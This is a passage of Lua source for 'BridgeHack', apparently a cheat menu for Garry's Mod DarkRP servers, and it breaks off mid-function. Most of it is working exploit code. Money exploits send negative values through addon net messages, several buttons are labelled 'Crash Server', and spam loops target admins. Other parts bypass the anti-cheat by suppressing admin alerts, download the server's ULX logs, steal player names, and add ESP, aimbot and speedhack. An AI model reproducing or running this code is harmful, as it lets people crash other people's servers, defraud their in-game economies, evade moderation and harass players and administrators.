1021timer.Create( "aekickdaskids", 3, 0, function()
1022for k,v in ipairs(player.GetAll()) do
1023if( v:GetUserGroup() != "user" ) then
1024if( v:GetUserGroup() != "vip" ) then
1025for i=0, 1000 do
1026net.Start('plyWarning')
1027 net.WriteEntity(v)
1028 net.WriteString('You have to select a player before doing a action.')
1029 net.SendToServer()
1030end
1031chatP('Attempting to kick: '.. v:Nick().. "!")
1032
1033end end end end) end)
1034
1035concommand.Add("bh_namesteal_on",function()
1036 status("Running Script: Random Name Change [name steal]....")
1037
1038 timer.Create("startNAMECHANGEsteal", 0.12, 0, function()
1039 local plylastname = ply:Nick()
1040 for k,v in pairs(player.GetAll()) do
1041 local ligger_type = math.random(1,2)
1042 local ligger_type1 = math.random(1,2)
1043 status("Trying Name change to " .. v:Nick() .. " - " .. v:SteamID())
1044 if ligger_type1 == ligger_type then
1045 status("Name Changing to " .. v:Nick() .. " - " .. v:SteamID())
1046 if plylastname == v:Nick() then
1047 local ligger_type = math.random(1,2)
1048 local ligger_type1 = math.random(1,2)
1049 else
1050 ply:ConCommand("darkrp name " .. v:Nick() .. math.random(1,10))
1051 status("Changed Name to " .. v:Nick() .. " - " .. v:SteamID())
1052 end
1053 local ligger_type = math.random(1,2)
1054 local ligger_type1 = math.random(1,2)
1055 end end end) end)
1056
1057concommand.Add("bh_namesteal_off",function()
1058 timer.Destroy("startNAMECHANGEsteal",0.12,0,function()
1059 end) end)
1060
1061concommand.Add("bh_removelookingat",function()
1062 chatP("Removing prop looking at...")
1063 net.Start( "MDE_RemoveStuff_C2S" )
1064 net.WriteTable( {DATA="",TARGET=sweg} )
1065 net.SendToServer()
1066
1067end)
1068
1069
1070if dspam == true then
1071 chatP("Spam split / make shipment ON")
1072 timer.Create("spamdashit"..BridgeHack.RandomVar,0.1,function()
1073 for k,v in pairs(ents.GetAll()) do
1074 if v.Entity:GetString() == "spawned_shipment" then
1075 status("Splitting shipment")
1076 RunConsoleCommand("darkrp","splitshipment",v.Entity:EntIndex())
1077 elseif v.Entity:GetClassName() == "spawned_weapon" then
1078 status("Making shipment")
1079 RunConsoleCommand("darkrp","makeshipment",v.Entity:EntIndex())
1080 end end end) end
1081
1082if dspam == false then
1083 chatP("Spam split / make shipment OFF")
1084 timer.Simple(1,function()
1085 timer.Destroy("spamdashit"..BridgeHack.RandomVar,function()
1086 end) end) end
1087
1088
1089concommand.Add("bh_kun_ziptie_untie",function()
1090
1091 chatP("Untieing...")
1092
1093 for i=0,30 do
1094
1095 net.Start("Kun_ZiptieStruggle")
1096
1097 net.SendToServer()
1098
1099 end
1100
1101end)
1102
1103local ag_toggle = 0
1104local hook_toggle = 0
1105function GenAmmo()
1106 lastgun = LocalPlayer():GetActiveWeapon():GetClass()
1107 if hook_toggle == 0 then
1108 hook.Add("CreateMove", "lolammo", function(cmd)
1109 RunConsoleCommand("darkrp", "drop")
1110 RunConsoleCommand("use", lastgun)
1111 if ag_toggle == 0 then
1112 cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_USE))
1113 ag_toggle = 1
1114 else
1115 cmd:SetButtons(bit.band(cmd:GetButtons(), bit.bnot(IN_USE)))
1116 ag_toggle = 0
1117 end
1118 end)
1119 hook_toggle = 1
1120 else
1121 hook.Remove("CreateMove", "lolammo")
1122 hook_toggle = 0
1123 end
1124end
1125
1126concommand.Add("bh_fuckin_ammo", GenAmmo)
1127
1128concommand.Add("___darkrpshipments", function()
1129 if dspam != true then
1130 dspam = true
1131 elseif dspam == true then
1132 dspam = false
1133 end end)
1134
1135local function BridgeHackCHECK(v)
1136 if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= LocalPlayer() && LocalPlayer():Alive() then
1137 return true
1138 else
1139 return false
1140 end end
1141
1142hook.Add("HUDPaint", "JESP", function()
1143 for k,v in pairs(player.GetAll()) do
1144 if GetConVarNumber("bh_esp") > 0 then
1145 if(v ~= LocalPlayer() and BridgeHackCHECK(v)) then
1146 if GetConVarNumber("bh_renderdistance_enable") > 0 then
1147 if LocalPlayer():GetPos():Distance(v:GetPos()) < GetConVarNumber("bh_esp_rdistance") then
1148 local PlayerESP = (v:EyePos()):ToScreen()
1149 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1150 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1151
1152 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1153
1154 if GetConVarNumber("bh_esp_rank") > 0 then
1155 draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1156 end
1157
1158 if GetConVarNumber("bh_esp_hp") > 0 then
1159 local infocolor = Color(255,0,255)
1160 draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1161 end
1162
1163 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1164 local min, max = v:WorldSpaceAABB()
1165
1166 min, max = min:ToScreen(), max:ToScreen()
1167
1168 local h = (min.y / 2) - (max.y / 2)
1169 surface.SetDrawColor(col.g, col.b, col.r)
1170
1171 if GetConVarNumber("bh_esp_box") > 0 then
1172 surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
1173 surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
1174 surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
1175 end end
1176 else
1177
1178 local PlayerESP = (v:EyePos()):ToScreen()
1179 local infocolor = Color(0,255,0)
1180 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1181 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1182
1183 if GetConVarNumber("bh_esp_rank") > 0 then
1184 draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1185 end
1186
1187 if GetConVarNumber("bh_esp_hp") > 0 then
1188 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1189 draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1190 end
1191
1192 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1193
1194 local min, max = v:WorldSpaceAABB()
1195 min, max = min:ToScreen(), max:ToScreen()
1196 local h = (min.y / 2) - (max.y / 2)
1197
1198 surface.SetDrawColor(col.g, col.b, col.r)
1199
1200 if GetConVarNumber("bh_esp_box") > 0 then
1201 surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
1202 surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
1203 surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
1204 end end end end end end)
1205
1206function blur_on()
1207 DrawMaterialOverlay( "Models/effects/comball_tape", 0.5 )
1208end
1209
1210function blur_off()
1211 DrawMaterialOverlay( "", 0.1 )
1212end
1213
1214concommand.Add("+bh_menu", function( ply )
1215 status("Menu Opened.")
1216 if GetConVarNumber("bh_menu_effects") == 1 then
1217 hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_on )
1218 end
1219--[[
1220 mainmenu
1221
1222
1223 THE MAIN
1224
1225
1226 MENU
1227
1228
1229
1230 STARTS
1231
1232
1233
1234 HERE
1235
1236 |
1237 V
1238]]--
1239local menu = DermaMenu()
1240menu:Center()
1241menu:AddOption( "v1 "..dlversion, function()
1242 AboutMenu()
1243end ):SetImage( "icon16/shield.png" )
1244menu:AddSpacer()
1245function menu:Paint( w, h )
1246 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(255,255,255,150), true, true, true, true )
1247 draw.RoundedBoxEx( 4, 0, 0, w, 22, Color(255,137,0,200), true, true, false, false )
1248 surface.SetDrawColor( 0,0,0 )
1249 surface.DrawOutlinedRect( 0, 0, w, h)
1250end
1251local ForcingMenu, optMenu = menu:AddSubMenu("Client-side Forcing")
1252
1253ForcingMenu:AddOption( "Force sv_allowcslua 1", function()
1254 ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
1255 status("Forced SV_ALLOWCSLUA TO 1")
1256end):SetImage( "icon16/link_error.png" )
1257
1258ForcingMenu:AddOption( "Force sv_cheats 1", function()
1259 ply:ConCommand("incrementvar sv_cheats 0 1 1")
1260 status("Forced SV_CHEATS TO 1")
1261end):SetImage( "icon16/link_error.png" )
1262
1263local ESP = menu:AddSubMenu("ESP")
1264
1265ESP:AddOption( "[ON] ESP", ESP_on):SetImage( "icon16/group_add.png" )
1266ESP:AddOption( "[OFF] ESP", ESP_off):SetImage( "icon16/group_delete.png" )
1267
1268ESP:AddOption( "[ON] Chams", function()
1269 RunConsoleCommand("bh_chams", "1")
1270 status("Chams Activated")
1271end):SetImage( "icon16/group_add.png" )
1272
1273ESP:AddOption( "[OFF] Chams", function()
1274 RunConsoleCommand("bh_chams", "0")
1275 status("Chams Deactivated")
1276end):SetImage( "icon16/group_add.png" )
1277
1278ESP:AddOption( "[On] Aimbot", function()
1279 RunConsoleCommand("K_aimbot_autofire", "1")
1280 RunConsoleCommand("K_aimbot_+realistic", "1")
1281 status("Aimbot Activated")
1282end):SetImage( "icon16/group_add.png" )
1283
1284ESP:AddOption( "[OFF] Aimbot", function()
1285 RunConsoleCommand("K_aimbot_autofire", "0")
1286 RunConsoleCommand("K_aimbot_-realistic")
1287 status("Aimbot Deactivated")
1288end):SetImage( "icon16/group_add.png" )
1289
1290local Speed = menu:AddSubMenu("Speed")
1291Speed:AddOption( "[ON] SpeedHack", speedhack_on):SetImage( "icon16/lightning_go.png" )
1292Speed:AddOption( "[OFF] SpeedHack", speedhack_off):SetImage( "icon16/lightning_delete.png" )
1293
1294
1295local NameStealSub = menu:AddSubMenu( "Name Stealing/Changing" )
1296NameStealSub:AddOption( "[ON] Name Steal", function()
1297 ply:ConCommand("bh_namesteal_on")
1298end ):SetImage( "icon16/book_addresses.png" )
1299
1300NameStealSub:AddOption( "[OFF] Name Steal", function()
1301 status("Stopped Script: Random Name Change [name steal]")
1302 ply:ConCommand("bh_namesteal_off")end ):SetImage( "icon16/book.png" )
1303
1304local MoneyExploits = menu:AddSubMenu( "DarkRP Money Explots" )
1305
1306 MoneyExploits:AddOption("[$$] Drug Sell",function()
1307 for i=1,1000 do
1308 net.Start("Kun_SellDrug")
1309 net.WriteString("Meth")
1310 net.SendToServer()
1311 end end):SetImage( "icon16/coins_add.png" )
1312
1313 MoneyExploits:AddOption( "[$$] Taxi Driver Money",function()
1314 chatp("Giving money")
1315 net.Start("Taxi_Add")
1316 net.WriteString("MLG")
1317 net.WriteTable({-1333.647461, -1473.931763, -139.968750})
1318 net.WriteFloat(-99999999)
1319 net.WriteString(Desc)
1320 net.SendToServer()
1321 end):SetImage( "icon16/coins_add.png" )
1322
1323 MoneyExploits:AddOption( "[$$] SS Shelf NET",function()
1324 chatP("Attempting to give money..")
1325 for k,v in pairs(ents.GetAll()) do
1326 swag = v
1327 end
1328 net.Start( 'NET_SS_DoBuyTakeoff' )
1329 net.WriteEntity(LocalPlayer())
1330 net.WriteEntity(swag)
1331 net.WriteTable({'spawned_weapon'})
1332 net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
1333 net.SendToServer()
1334 end):SetImage( "icon16/coins_add.png" )
1335
1336 MoneyExploits:AddOption( "[$$] HITMAN MONEY",function()
1337 chatP("Attempting to give money..")
1338 net.Start( "DaHit" )
1339 net.WriteFloat( -1000000000000000000000 )
1340 --net.WriteFloat( tm )
1341 net.WriteEntity( LocalPlayer() )
1342 net.WriteEntity( LocalPlayer() )
1343 net.WriteEntity( LocalPlayer() )
1344 net.SendToServer()
1345 end):SetImage( "icon16/coins_add.png" )
1346
1347 MoneyExploits:AddOption( "[$$] HHH MONEY",function()
1348 local ply = LocalPlayer()
1349 for k,v in pairs(player.GetAll()) do
1350 dahater = v
1351 end
1352
1353 local hitRequest = {}
1354 hitRequest.hitman = ply
1355 hitRequest.requester = ply
1356 hitRequest.target = dahater
1357 hitRequest.reward = 100000000
1358
1359 net.Start( 'hhh_request' )
1360 net.WriteTable( hitRequest )
1361 net.SendToServer()
1362
1363 end):SetImage( "icon16/coins_add.png" )
1364
1365 MoneyExploits:AddOption("[$$] BOONPC",function()
1366 net.Start('BuyCar')
1367 net.WriteFloat(-1000000000000)
1368 net.WriteEntity(LocalPlayer())
1369 net.WriteString("BridgeHack")
1370 net.WriteString("BridgeHack")
1371 net.WriteString("BridgeHack")
1372 net.SendToServer()
1373 end):SetImage( "icon16/coins_add.png" )
1374
1375 MoneyExploits:AddOption("[$$] Hitman X Menu",function()
1376 local frame = vgui.Create( "DFrame" )
1377 frame:Center()
1378 frame:SetSize( 200,150 )
1379 frame:SetTitle( "" )
1380 frame:MakePopup()
1381 frame:ShowCloseButton( false )
1382 function frame:Paint( w, h )
1383 draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
1384 draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
1385 draw.SimpleText( "BridgeHack Hitman X Menu", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
1386 end
1387
1388 local playerMenu = vgui.Create( "DComboBox", frame )
1389 playerMenu:SetPos( 10,40 )
1390 playerMenu:SetSize( 120,20 )
1391 playerMenu:SetText( "Select a Player")
1392 for k, v in pairs( player.GetAll() ) do
1393 playerMenu:AddChoice( tostring( v:Name() ) )
1394 playerMenu:SetTextColor(color_black)
1395 end
1396
1397 local Button = vgui.Create("DButton", frame)
1398 Button:SetPos( 180, 2 )
1399 Button:SetSize( 20, 20 )
1400 Button:SetText( "" )
1401 function Button:Paint( w, h )
1402 draw.SimpleText( "X", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
1403 end
1404 Button.DoClick = function()
1405 frame:Close()
1406 end
1407
1408 local SpamHit = vgui.Create("DButton", frame )
1409 SpamHit:SetPos( 20,70 )
1410 SpamHit:SetSize( 150,20 )
1411 SpamHit:SetText( "Get Money" )
1412 SpamHit:SetTextColor( Color(0,0,0) )
1413 SpamHit.DoClick = function()
1414 local v = playerMenu:GetText()
1415 net.Start( "SendMoney" )
1416 net.WriteEntity( v )
1417 net.WriteEntity( v )
1418 net.WriteEntity( v )
1419 net.WriteString( "-100000000000000000000000000000000000000000" )
1420 net.SendToServer()
1421 end
1422
1423 local CrashButton = vgui.Create("DButton", frame )
1424 CrashButton:SetPos( 20,90 )
1425 CrashButton:SetSize( 150,20 )
1426 CrashButton:SetText( "Crash Server" )
1427 CrashButton:SetTextColor( Color(0,0,0) )
1428 CrashButton.DoClick = function()
1429 for i=0, 10 do
1430 ply:ConCommand("bh_hitmanxcrash")
1431 end
1432 end
1433
1434 local InfaButton = vgui.Create("DButton", frame )
1435 InfaButton:SetPos( 20,110 )
1436 InfaButton:SetSize( 150,20 )
1437 InfaButton:SetText( "Infinite Money For Everyone" )
1438 InfaButton:SetTextColor( Color(0,0,0) )
1439 InfaButton.DoClick = function()
1440 ply:ConCommand("bh_hitmanxinfa")
1441 end
1442 end):SetImage( "icon16/application_form.png" )
1443
1444 MoneyExploits:AddOption( "[$$] HITMENU",function()
1445 local HitPanel = vgui.Create( "DFrame" )
1446 HitPanel:SetPos( ScrW()/5, ScrH()/10 )
1447 HitPanel:SetSize( 300, 200 )
1448 HitPanel:SetTitle( " " )
1449 HitPanel:SetVisible( true )
1450 HitPanel:SetDraggable( true )
1451 HitPanel:ShowCloseButton( false )
1452 HitPanel:MakePopup()
1453 function HitPanel:Paint( w, h )
1454 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 255,160) )
1455 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
1456 draw.SimpleText( "BridgeHack HitHack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1457 end
1458
1459 local Button = vgui.Create("DButton", HitPanel)
1460 Button:SetPos( 250, 0 )
1461 Button:SetSize( 50, 25 )
1462 Button:SetText( "" )
1463 function Button:Paint( w, h )
1464 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
1465 draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1466 end
1467 Button.DoClick = function()
1468 HitPanel:Close()
1469 end
1470
1471 local HitButton = vgui.Create("DButton", HitPanel)
1472 HitButton:SetPos( 140, 100 )
1473 HitButton:SetSize( 100, 20 )
1474 HitButton:SetText( "Get Money" )
1475 HitButton:SetTextColor( Color(255,255,255) )
1476 function HitButton:Paint( w, h )
1477 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
1478 end
1479 HitButton.DoClick = function()
1480 ply:ConCommand("bh_hithack")
1481 end
1482
1483 local HitSlider = vgui.Create( "DNumSlider", HitPanel )
1484 HitSlider:SetPos( 20, 50 )
1485 HitSlider:SetSize( 300, 40 )
1486 HitSlider:SetText( "Money Ammount" )
1487 HitSlider:SetMin( 0 )
1488 HitSlider:SetMax( 1000000000 )
1489 HitSlider:SetDecimals( 0 )
1490 HitSlider:SetConVar( "bh_hitmenuammount" )
1491
1492 end):SetImage( "icon16/coins_add.png" )
1493
1494 MoneyExploits:AddOption( "[$$] 3D Car Dealer",function()
1495 ply:ConCommand("bh_3dcardealer_spamstore")
1496 end):SetImage( "icon16/coins_add.png" )
1497
1498 MoneyExploits:AddOption( "[$$] VCMOD Sell-car",function()
1499 chatP("Attempting to give money..")
1500 for i=0,30 do
1501 for i=1,10 do
1502 net.Start( "AttemptSellCar" )
1503 net.WriteInt( i, 8 )
1504 net.SendToServer()
1505 end
1506 end
1507 end):SetImage( "icon16/coins_add.png" )
1508
1509 MoneyExploits:AddOption( "[$$] BAILNPC",function()
1510 chatP("Attempting to give money..")
1511 net.Start( "BailOut" )
1512 net.WriteEntity( ply )
1513 net.WriteEntity( ply )
1514 net.WriteFloat( -10000000000000)
1515 net.SendToServer()
1516 end):SetImage( "icon16/coins_add.png" )
1517
1518 MoneyExploits:AddOption("[$$] REALISTIC ATM",function()
1519 local DermaPanel = vgui.Create( "DFrame" )
1520 DermaPanel:SetPos( 100, 100 )
1521 DermaPanel:SetSize( 300, 200 )
1522 DermaPanel:SetTitle( " " )
1523 DermaPanel:SetVisible( true )
1524 DermaPanel:SetDraggable( true )
1525 DermaPanel:ShowCloseButton( true )
1526 function DermaPanel:Paint( w, h )
1527 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 0,160) )
1528 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
1529 draw.SimpleText( "BridgeHack Realistic ATM Hack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1530 end
1531 DermaPanel:MakePopup()
1532
1533 local TextEntry = vgui.Create( "DTextEntry", DermaPanel )
1534 TextEntry:SetPos( 75, 30 )
1535 TextEntry:SetSize( 150, 25 )
1536 TextEntry:SetText( "Account num(Including the -!)" )
1537
1538 local BBDButton = vgui.Create( "DButton",DermaPanel )
1539 BBDButton:SetPos( 10, 120 )
1540 BBDButton:SetText( "Give Money" )
1541 BBDButton:SetTextColor( Color(255,255,255) )
1542 BBDButton:SetSize( 280, 75 )
1543 function BBDButton:Paint( w, h )
1544 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,255,150) )
1545 end
1546 BBDButton.DoClick = function()
1547 local accnumber = TextEntry:GetValue()
1548 local moneytogive = GetConVarNumber("bh_ratm_money2give")
1549 chatP("Attempting to give "..moneytogive.."$ on Account Number: "..accnumber)
1550 net.Start("ATM_DepositMoney_C2S")
1551 net.WriteTable({Memo =BridgeHack.RandomVar,Num=accnumber,Amount=-moneytogive})
1552 net.SendToServer()
1553 end
1554
1555 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
1556 RenderDistance:SetPos( 10, 50)
1557 RenderDistance:SetSize( 275, 25 )
1558 RenderDistance:SetText( "Money to give" )
1559 RenderDistance:SetMin( 0 )
1560 RenderDistance:SetMax( 500000 )
1561 RenderDistance:SetDecimals( 0 )
1562 RenderDistance:SetConVar( "bh_ratm_money2give" )
1563 end):SetImage("icon16/coins_add.png")
1564
1565 MoneyExploits:AddOption( "[$$] TOW TRUCK DRIVER",function()
1566 chatP("Giving money..")
1567 for k,v in pairs(ents.GetAll()) do
1568 status("Attempting to make fine")
1569 net.Start("TOW_SubmitWarning")
1570 net.WriteString(LocalPlayer():SteamID())
1571 net.WriteDouble(-100000000000)
1572 net.WriteEntity(v)
1573 net.SendToServer()
1574
1575 net.Start("TOW_PayTheFine")
1576 net.WriteEntity(v)
1577 net.SendToServer()
1578 end
1579 end):SetImage( "icon16/coins_add.png" )
1580
1581local DARKRPBASEDSUB = menu:AddSubMenu( "DarkRP Minging/Scripts" )
1582
1583
1584 DARKRPBASEDSUB:AddOption("[ON] Dlog Lag",function()
1585 ply:ConCommand("bh_dlogs_lag")
1586 end):SetImage( "icon16/table_error.png" )
1587
1588 DARKRPBASEDSUB:AddOption("[OFF] Dlog Lag",function()
1589 ply:ConCommand("bh_dlogs_lag_off")
1590 end):SetImage( "icon16/table_add.png" )
1591
1592 DARKRPBASEDSUB:AddOption("HitMenu Spam",function()
1593 local ply = LocalPlayer()
1594
1595 local frame = vgui.Create( "DFrame" )
1596 frame:Center()
1597 frame:SetSize( 200,150 )
1598 frame:SetTitle( "" )
1599 frame:MakePopup()
1600 frame:ShowCloseButton( false )
1601 function frame:Paint( w, h )
1602 draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
1603 draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
1604 draw.SimpleText( "BridgeHack Hitspam", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
1605 end
1606
1607 local playerMenu = vgui.Create( "DComboBox", frame )
1608 playerMenu:SetPos( 10,40 )
1609 playerMenu:SetSize( 120,20 )
1610 playerMenu:SetText( "Select a Player")
1611 for k, v in pairs( player.GetAll() ) do
1612 playerMenu:AddChoice( tostring( v:Name() ) )
1613 end
1614
1615 local SpamHit = vgui.Create("DButton", frame )
1616 SpamHit:SetPos( 50,70 )
1617 SpamHit:SetSize( 100,20 )
1618 SpamHit:SetText( "Place Dem Hits" )
1619 SpamHit:SetTextColor( Color(0,0,0) )
1620 SpamHit.DoClick = function()
1621 local v = playerMenu:GetText()
1622 for i=0, 4 do
1623 ply:ConCommand('addhit "'..v..'" 500')
1624 end
1625 end
1626
1627 local CrashButton = vgui.Create("DButton", frame )
1628 CrashButton:SetPos( 50,110 )
1629 CrashButton:SetSize( 100,20 )
1630 CrashButton:SetText( "Crash Server" )
1631 CrashButton:SetTextColor( Color(0,0,0) )
1632 CrashButton.DoClick = function()
1633 chatP("Hitmanmenu got rekt!")
1634 consoleP("Hitmanmenu got rekt")
1635 for i=0, 10 do
1636 ply:ConCommand("bh_hitmancrash")
1637 end
1638 end
1639
1640 local Button = vgui.Create("DButton", frame)
1641 Button:SetPos( 170, 0 )
1642 Button:SetSize( 30, 20 )
1643 Button:SetText( "Close" )
1644 Button:SetTextColor( Color( 255, 255, 255) )
1645 function Button:Paint( w, h )
1646 draw.RoundedBox( 4, 0, 0, w, h, Color(0,0,0,200) )
1647 end
1648 Button.DoClick = function()
1649 frame:Close()
1650 end
1651
1652 local label = vgui.Create( "DLabel", frame )
1653 label:SetPos( 10,20 )
1654 label:SetSize( 120,20 )
1655 label:SetTextColor( Color(0,0,0) )
1656 label:SetText( "Select Player:" )
1657 end):SetImage("icon16/accept.png")
1658
1659
1660 DARKRPBASEDSUB:AddOption("[ON] Advert Spam",function()
1661 ply:ConCommand("bh_advert 1")
1662 end):SetImage( "icon16/bell_add.png" )
1663
1664 DARKRPBASEDSUB:AddOption("[OFF] Advert Spam",function()
1665 ply:ConCommand("bh_advert 0")
1666 end):SetImage( "icon16/bell_delete.png" )
1667
1668 DARKRPBASEDSUB:AddOption("Remove looking at prop",function()
1669 timer.Simple(0.1,function()
1670 chatP("(This can be binded to: bh_removelookingat)")
1671 ply:ConCommand("bh_removelookingat")
1672 end)
1673 end):SetImage("icon16/map_delete.png")
1674
1675 DARKRPBASEDSUB:AddOption( "[X] KUN ZIPTIES UNTIE SELF ",function()
1676 ply:ConCommand("bh_kun_ziptie_untie")
1677 end):SetImage( "icon16/cut.png" )
1678
1679 DARKRPBASEDSUB:AddOption( "[ON/OFF] Spam Split Shipment / Make Shipemnt", function()
1680 ply:ConCommand("___darkrpshipments")
1681 end):SetImage( "icon16/cut_red.png" )
1682
1683 DARKRPBASEDSUB:AddOption( "[ON] Make everyone wanted (Cop only)", function()
1684 timer.Create("lollol3294385", 0.2, 0, function( )
1685 for k,v in pairs(player.GetAll()) do
1686 local ligger_type = math.random(1,13)
1687 local ligger_type1 = math.random(1,13)
1688 status("Attempting Want on: " .. v:Nick() .. " - " .. v:SteamID())
1689 if ligger_type1 == ligger_type then
1690 if last_ply == v:Nick() then
1691 local ligger_type = math.random(1,13)
1692 local ligger_type1 = math.random(1,13)
1693 else
1694 ply:ConCommand("darkrp wanted " .. v:Nick() .. " " .. math.random(1,999))
1695 end
1696
1697 local last_ply = v:Nick()
1698 local ligger_type = math.random(1,13)
1699 local ligger_type1 = math.random(1,13)
1700 status("Force Wanting: " .. v:Nick())
1701 end
1702 end
1703 end)
1704 end):SetImage( "icon16/cross.png" )
1705
1706 DARKRPBASEDSUB:AddOption( "[OFF] Make everyone wanted (Cop only)", function()
1707 timer.Destroy("lollol3294385")
1708 status("Stopped Want All Police")
1709 end):SetImage( "icon16/tick.png" )
1710
1711 DARKRPBASEDSUB:AddOption( "Super Rope Width", function()
1712 ply:ConCommand("bh_annoying_rope")
1713 end):SetImage( "icon16/accept.png" )
1714
1715 DARKRPBASEDSUB:AddOption( "Super Elastic Width", function()
1716 ply:ConCommand("bh_elstic_width ")
1717 end):SetImage( "icon16/accept.png" )
1718
1719
1720 local SpoofingMenu = menu:AddSubMenu("Spoofing Scripts")
1721 SpoofingMenu:AddOption( "Spoof Player colours and physgun colours", function()
1722 ply:ConCommand("cl_weaponcolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
1723 ply:ConCommand("cl_playercolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
1724 status("Spoofed Physgun And Player Color.")
1725 end):SetImage( "icon16/color_wheel.png" )
1726
1727 local exploitshacks = menu:AddSubMenu("Exploits")
1728
1729 exploitshacks:AddOption( "Bypass APAnti (Anti propkill)",function()
1730 chatP("Bypassing Apanti..")
1731 net.Receive("sMsgStandard", function()
1732 print("#Bypassed by HaxRUs")
1733 end)
1734
1735 net.Receive("sNotifyHit", function()
1736
1737 end)
1738
1739 net.Receive("sMsgAdmins", function()
1740
1741 end)
1742
1743 net.Receive("sAlertNotice", function()
1744
1745 end)
1746 end):SetImage( "icon16/link_break.png" )
1747
1748 exploitshacks:AddOption("Dupe Gun",function()
1749 ply:ConCommand("dark_wepdupe")
1750 chatP("Duplicating Gun..")
1751 end):SetImage( "icon16/book_error.png" )
1752
1753 exploitshacks:AddOption("Dupe Ammo",function()
1754 ply:ConCommand("bh_fuckin_ammo")
1755 chatP("Duplicating Ammo type bh_fuckin_ammo in console to cancel..")
1756 end):SetImage( "icon16/book_error.png" )
1757
1758 exploitshacks:AddOption("William Car Dealer",function()
1759 ply:ConCommand("bh_williamcar_dealer")
1760 chatP("Opening williams car dealer..")
1761 end):SetImage( "icon16/book_error.png" )
1762
1763 exploitshacks:AddOption("VCMod Money",function()
1764 ply:ConCommand("bh_vcmodexploit")
1765 chatP("this feature currently isn't working..")
1766 end):SetImage( "icon16/book_error.png" )
1767
1768 exploitshacks:AddOption( "Steal ULX Logs ( will save to download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt )", function()
1769 status("Downloading ULX LOGS")
1770 if file.Exists("download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt", "GAME") == "false" then
1771 consoleP("FILE EXISTS. REMOVE THE FILE BEFORE CONTINUEING!")
1772 else
1773 RequestFile(os.date( "data/" .. "ulx_logs" .. "/" .. "%m-%d-%y" .. ".txt" ))
1774 chatP("Downloading ulx logs. OPENING " .. os.date("%m-%d-%y") .. " IN 15 SECONDS....")
1775 timer.Simple( 15, function()
1776 chatP("Opened data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt")
1777 consoleP("**********************")
1778 consoleP("** SUCCESS ULX DUMP **")
1779 consoleP("**********************")
1780 end)
1781 end
1782 end ):SetImage( "icon16/lock_break.png" )
1783
1784 exploitshacks:AddOption("[AE] KICK ADMINS+",function()
1785 chatP("Kicking... (Will only work on admins+)")
1786 timer.Create( "aekickdaskids", 3, 0, function()
1787 for k,v in pairs(player.GetAll()) do
